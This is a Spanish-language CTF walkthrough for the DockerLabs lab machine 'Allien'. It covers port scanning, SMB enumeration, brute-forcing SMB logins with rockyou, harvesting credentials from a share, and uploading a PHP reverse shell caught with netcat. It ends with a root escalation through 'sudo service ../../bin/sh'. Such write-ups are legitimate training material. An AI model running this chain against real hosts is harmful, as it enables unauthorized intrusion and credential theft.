> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/allien.md).

# Allien

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Allien** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido:

```bash
7z x allien.zip
```

<figure><img src="/files/BhUahESxPeVzpRcid9fg" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh allien.tar
```

<figure><img src="/files/uWAvy6BgDAicwEl6Quv7" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/VI4hWo00hg0SM3ZeNEUw" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 139:** `NETBIOS-SSN`.
* **Puerto 445:** `MICROSOFT-DS`.

<figure><img src="/files/Ptf89aNdz8V4Rc6ZlCLf" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80,139,445 -sCV 172.17.0.2 -oN targeted
```

**Descubrimos:**

* **SSH:** OpenSSH 9.6p1.
* **HTTP:** Apache 2.4.58 con una página de inicio de sesión.
* **Samba:** Versión 4.6.2.

<figure><img src="/files/yghrqQl2SKURaHOeeH4m" alt=""><figcaption></figcaption></figure>

**Análisis Web:**

Accedemos al servicio HTTP en el puerto 80:

```
http://172.17.0.2/
```

Nos encontramos con un panel de inicio de sesión. Probamos inyecciones SQL, XSS y otros métodos, pero ninguno con éxito.

<figure><img src="/files/ljyahs9dATL4Jw0Q4ZHa" alt=""><figcaption></figcaption></figure>

**Fuerza Bruta de Directorios y Archivos:**

Utilizamos `gobuster` para descubrir rutas ocultas:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Resultados:**

* `/index.php`.
* `/info.php`.
* `/productos.php`.

<figure><img src="/files/749TNBwvZb5loWo2bLk3" alt=""><figcaption></figcaption></figure>

Tras analizar estas rutas, no encontramos información relevante o útil para continuar con la explotación.

**Enumeración SMB:**

Ejecutamos `enum4linux` para obtener información sobre los recursos compartidos:

```bash
enum4linux 172.17.0.2
```

**Recursos compartidos identificados:**

* `myshare` (acceso sin restricciones).
* `backup24` (privado).
* `home` (producción).

<figure><img src="/files/Ct4D8CkFe4ppEtqD0CwX" alt=""><figcaption></figcaption></figure>

**Usuarios identificados:**

* `usuario1`.
* `usuario2`.
* `usuario3`.
* `satriani7`.
* `administrador`.

<figure><img src="/files/Zbp3EyxaGlRYWfDtrJ7U" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**Fuerza Bruta de Credenciales SMB:**

Utilizamos `netexec` para realizar un ataque de fuerza bruta contra el servicio SMB, empleando el usuario `satriani7` y el diccionario `rockyou.txt`:

```bash
netexec smb 172.17.0.2 -u 'satriani7' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
```

**Credenciales válidas encontradas:**

* **Usuario:** `satriani7`.
* **Contraseña:** `50cent`.

<figure><img src="/files/EVluvP0lNdlXfrUh8MRA" alt=""><figcaption></figcaption></figure>

**Acceso a Recursos Compartidos:**

Verificamos los permisos del usuario `satriani7`:

```bash
smbmap -u 'satriani7' -p '50cent' -H 172.17.0.2
```

<figure><img src="/files/HDUmLdAWlzkyA3hHWcl9" alt=""><figcaption></figcaption></figure>

Accedemos al recurso `backup24`:

```bash
smbclient //172.17.0.2/backup24 -U 'satriani7'
```

<figure><img src="/files/CMJurChD5JncUab9Nuzn" alt=""><figcaption></figcaption></figure>

Encontramos un archivo `credentials.txt`.

<figure><img src="/files/qD0GImcn31hD8pMenhqX" alt=""><figcaption></figcaption></figure>

Descargamos el archivo `credentials.txt` a nuestra máquina local para ver su contenido:

```bash
get credentials.txt
```

<figure><img src="/files/xvpO5JlyIcnb9wikyKJG" alt=""><figcaption></figcaption></figure>

Observamos que el archivo contiene múltiples usuarios y contraseñas. En este caso, vamos a centrarnos en las siguientes credenciales:

* **Usuario:** `administrador`.
* **Contraseña:** `Adm1nP4ss2024`.

<figure><img src="/files/7nwgggXxAQtREfQQJKyV" alt=""><figcaption></figcaption></figure>

**Escalada de Acceso:**

Con las nuevas credenciales, verificamos los permisos del usuario `administrador`:

```bash
smbmap -u 'administrador' -p 'Adm1nP4ss2024' -H 172.17.0.2
```

Confirmamos que tenemos permisos de lectura y escritura en el recurso `home`.

<figure><img src="/files/TO6F5xFz1wl438JuU1z8" alt=""><figcaption></figcaption></figure>

Accedemos a él:

```bash
smbclient //172.17.0.2/home -U 'administrador'
```

<figure><img src="/files/pM4T6PpQo9cyWYYV3jFl" alt=""><figcaption></figcaption></figure>

**Contenido del directorio `home`:**

* `info.php`.
* `back.png`.
* `index.php`.
* `productos.php`.
* `styles.css`.

Estos archivos ya los habíamos identificado previamente durante el escaneo de fuerza bruta de directorios y archivos. Esto indica que corresponden a los archivos accesibles en el servicio HTTP que se encuentra activo en el puerto 80.

<figure><img src="/files/W6rHOJvFxwaAPUYAFRqe" alt=""><figcaption></figcaption></figure>

Dado que tenemos permisos de escritura, podemos subir un archivo malicioso y ejecutarlo desde el navegador.

***

#### **Escalada de Privilegios:**

**Subida de Shell Inversa:**

Creamos un archivo PHP malicioso con una reverse shell utilizando [RevShells](https://www.revshells.com/).

<figure><img src="/files/mkECN1jlZFSjRzgrTD3Z" alt=""><figcaption></figcaption></figure>

Subimos el archivo malicioso `1.php` al recurso compartido `home`:

```bash
put 1.php
```

<figure><img src="/files/B8205iDxbJNe1achA5vz" alt=""><figcaption></figcaption></figure>

**Ejecución de la Shell:**

Nos ponemos a la escucha en nuestro equipo por el puerto 123:

```bash
nc -nvlp 123
```

<figure><img src="/files/9RwBzzXTRQtgegGU1USd" alt=""><figcaption></figcaption></figure>

Accedemos al archivo `1.php` vía web:

```
http://172.17.0.2/1.php
```

<figure><img src="/files/uA3mQh4pEhdqTPNYg0nI" alt=""><figcaption></figcaption></figure>

Obtenemos acceso a la máquina objetivo como el usuario `www-data`.

<figure><img src="/files/kSH9dXCirBylyn87Kg0I" alt=""><figcaption></figcaption></figure>

**Escalada a Root:**

Verificamos los privilegios de sudo del usuario `www-data`:

```bash
sudo -l
```

**Resultado:**

```bash
(ALL) NOPASSWD: /usr/sbin/service
```

* El usuario puede ejecutar `/usr/sbin/service` como `root` sin proporcionar contraseña.

<figure><img src="/files/UIy79WDkztz5YQx1h14A" alt=""><figcaption></figcaption></figure>

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/service/) y encontramos que podemos ejecutar:

```bash
sudo service ../../bin/sh
```

Con esto obtenemos una shell con privilegios de `root`, completando la explotación de la máquina.

<figure><img src="/files/4j1F3HCiJItkiR0L2VrQ" alt=""><figcaption></figcaption></figure>
